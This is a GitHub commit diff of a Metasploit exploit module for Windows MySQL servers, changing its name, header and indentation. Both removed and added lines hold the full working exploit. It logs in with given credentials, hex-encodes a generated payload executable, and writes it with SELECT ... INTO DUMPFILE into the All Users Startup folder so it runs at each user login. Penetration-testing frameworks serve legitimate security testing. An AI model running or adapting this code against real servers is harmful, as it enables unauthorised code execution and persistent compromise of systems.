Skip to content

Commit 2addd0f

Browse files
veritysrveritysr
committed
Fixed name, removed tabs, updated license
1 parent 911e9dc commit 2addd0f

File tree

1 file changed

+131
-134
lines changed

1 file changed

+131
-134
lines changed

‎modules/exploits/windows/mysql/mysql_start_up.rb

Lines changed: 131 additions & 134 deletions
Original file line numberDiff line numberDiff line change
@@ -1,142 +1,139 @@
11
##
2-
# This file is part of the Metasploit Framework and may be subject to
3-
# redistribution and commercial restrictions. Please see the Metasploit
4-
# web site for more information on licensing and terms of use.
5-
# http://metasploit.com/
2+
# Current source: https://github.com/rapid7/metasploit-framework
63
##
74

85
require 'msf/core'
96

107
class Metasploit3 < Msf::Exploit::Remote
11-
Rank = ExcellentRanking
12-
13-
include Msf::Exploit::Remote::MYSQL
14-
include Msf::Exploit::EXE
15-
include Msf::Exploit::FileDropper
16-
17-
def initialize(info = {})
18-
super(update_info(info,
19-
'Name' => 'Oracle MySQL for Microsoft Windows Backdoor',
20-
'Description' => %q{
21-
This module takes advantage of a file privilege misconfiguration problem
22-
specifically against Windows MySQL servers. This module writes a payload to
23-
Microsoft's All Users Start Up directory which will execute every time a
24-
user logs in.
25-
},
26-
'Author' =>
27-
[
28-
'sinn3r',
29-
'Sean Verity <veritysr1980[at]gmail.com'
30-
],
31-
'DefaultOptions' =>
32-
{
33-
'InitialAutoRunScript' => "migrate -f"
34-
},
35-
'License' => MSF_LICENSE,
36-
'References' =>
37-
[
38-
],
39-
'Platform' => 'win',
40-
'Targets' =>
41-
[
42-
[ 'MySQL on Windows', { } ]
43-
],
44-
'DefaultTarget' => 0,
45-
))
46-
47-
register_options(
48-
[
49-
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
50-
OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
51-
])
52-
register_advanced_options(
53-
[
54-
OptBool.new('ExitOnSession', [ true, 'Turn off handler once session is created', true])
55-
])
56-
end
57-
58-
def check
59-
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
60-
return Exploit::CheckCode::Safe if not m
61-
62-
return Exploit::CheckCode::Appears if is_windows?
63-
return Exploit::CheckCode::Safe
64-
end
65-
66-
def peer
67-
"#{rhost}:#{rport}"
68-
end
69-
70-
def query(q)
71-
rows = []
72-
73-
begin
74-
res = mysql_query(q)
75-
return rows if not res
76-
res.each_hash do |row|
77-
rows << row
78-
end
79-
rescue RbMysql::ParseError
80-
return rows
81-
end
82-
83-
return rows
84-
end
85-
86-
def is_windows?
87-
r = query("SELECT @@version_compile_os;")
88-
return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
89-
end
90-
91-
def get_drive_letter
92-
r = query("SELECT @@tmpdir;")
93-
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
94-
return drive
95-
end
96-
97-
def upload_file(bin, dest)
98-
p = bin.unpack("H*")[0]
99-
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
100-
end
101-
102-
def exploit
103-
if not datastore['ExitOnSession'] and not job_id
104-
fail_with(Exploit::Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
105-
end
106-
107-
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
108-
begin
109-
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
110-
return if not m
111-
rescue RbMysql::AccessDeniedError
112-
print_error("#{peer} - Access denied.")
113-
return
114-
end
115-
116-
if not is_windows?
117-
print_error("#{peer} - Remote host isn't Windows.")
118-
return
119-
end
120-
121-
drive = get_drive_letter
122-
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
123-
dest = "#{drive}:/programdata/microsoft/windows/start menu/programs/startup/#{exe_name}"
124-
exe = generate_payload_exe
125-
print_status("#{peer} - Uploading to '#{dest}'")
126-
begin
127-
upload_file(exe, dest)
128-
register_file_for_cleanup("#{dest}")
129-
rescue RbMysql::AccessDeniedError
130-
print_error("#{peer} - No permission to write. I blame kc :-)")
131-
return
132-
end
133-
134-
stime = Time.now.to_f
135-
while(true)
136-
break if session_created? and datastore['ExitOnSession']
137-
break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
138-
select(nil,nil,nil,1)
139-
end
140-
end
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::Remote::MYSQL
11+
include Msf::Exploit::EXE
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Oracle MySQL for Microsoft Windows File Write',
17+
'Description' => %q{
18+
This module takes advantage of a file privilege misconfiguration problem
19+
specifically against Windows MySQL servers. This module writes a payload to
20+
Microsoft's All Users Start Up directory which will execute every time a
21+
user logs in.
22+
},
23+
'Author' =>
24+
[
25+
'sinn3r',
26+
'Sean Verity <veritysr1980[at]gmail.com'
27+
],
28+
'DefaultOptions' =>
29+
{
30+
'InitialAutoRunScript' => "migrate -f"
31+
},
32+
'License' => MSF_LICENSE,
33+
'References' =>
34+
[
35+
],
36+
'Platform' => 'win',
37+
'Targets' =>
38+
[
39+
[ 'MySQL on Windows', { } ]
40+
],
41+
'DefaultTarget' => 0,
42+
))
43+
44+
register_options(
45+
[
46+
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
47+
OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
48+
])
49+
register_advanced_options(
50+
[
51+
OptBool.new('ExitOnSession', [ true, 'Turn off handler once session is created', true])
52+
])
53+
end
54+
55+
def check
56+
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
57+
return Exploit::CheckCode::Safe if not m
58+
59+
return Exploit::CheckCode::Appears if is_windows?
60+
return Exploit::CheckCode::Safe
61+
end
62+
63+
def peer
64+
"#{rhost}:#{rport}"
65+
end
66+
67+
def query(q)
68+
rows = []
69+
70+
begin
71+
res = mysql_query(q)
72+
return rows if not res
73+
res.each_hash do |row|
74+
rows << row
75+
end
76+
rescue RbMysql::ParseError
77+
return rows
78+
end
79+
80+
return rows
81+
end
82+
83+
def is_windows?
84+
r = query("SELECT @@version_compile_os;")
85+
return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
86+
end
87+
88+
def get_drive_letter
89+
r = query("SELECT @@tmpdir;")
90+
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
91+
return drive
92+
end
93+
94+
def upload_file(bin, dest)
95+
p = bin.unpack("H*")[0]
96+
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
97+
end
98+
99+
def exploit
100+
if not datastore['ExitOnSession'] and not job_id
101+
fail_with(Exploit::Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
102+
end
103+
104+
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
105+
begin
106+
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
107+
return if not m
108+
rescue RbMysql::AccessDeniedError
109+
print_error("#{peer} - Access denied.")
110+
return
111+
end
112+
113+
if not is_windows?
114+
print_error("#{peer} - Remote host isn't Windows.")
115+
return
116+
end
117+
118+
drive = get_drive_letter
119+
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
120+
dest = "#{drive}:/programdata/microsoft/windows/start menu/programs/startup/#{exe_name}"
121+
exe = generate_payload_exe
122+
print_status("#{peer} - Uploading to '#{dest}'")
123+
begin
124+
upload_file(exe, dest)
125+
register_file_for_cleanup("#{dest}")
126+
rescue RbMysql::AccessDeniedError
127+
print_error("#{peer} - No permission to write. I blame kc :-)")
128+
return
129+
end
130+
131+
stime = Time.now.to_f
132+
while(true)
133+
break if session_created? and datastore['ExitOnSession']
134+
break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
135+
select(nil,nil,nil,1)
136+
end
137+
end
141138

142139
end

0 commit comments

Comments
 (0)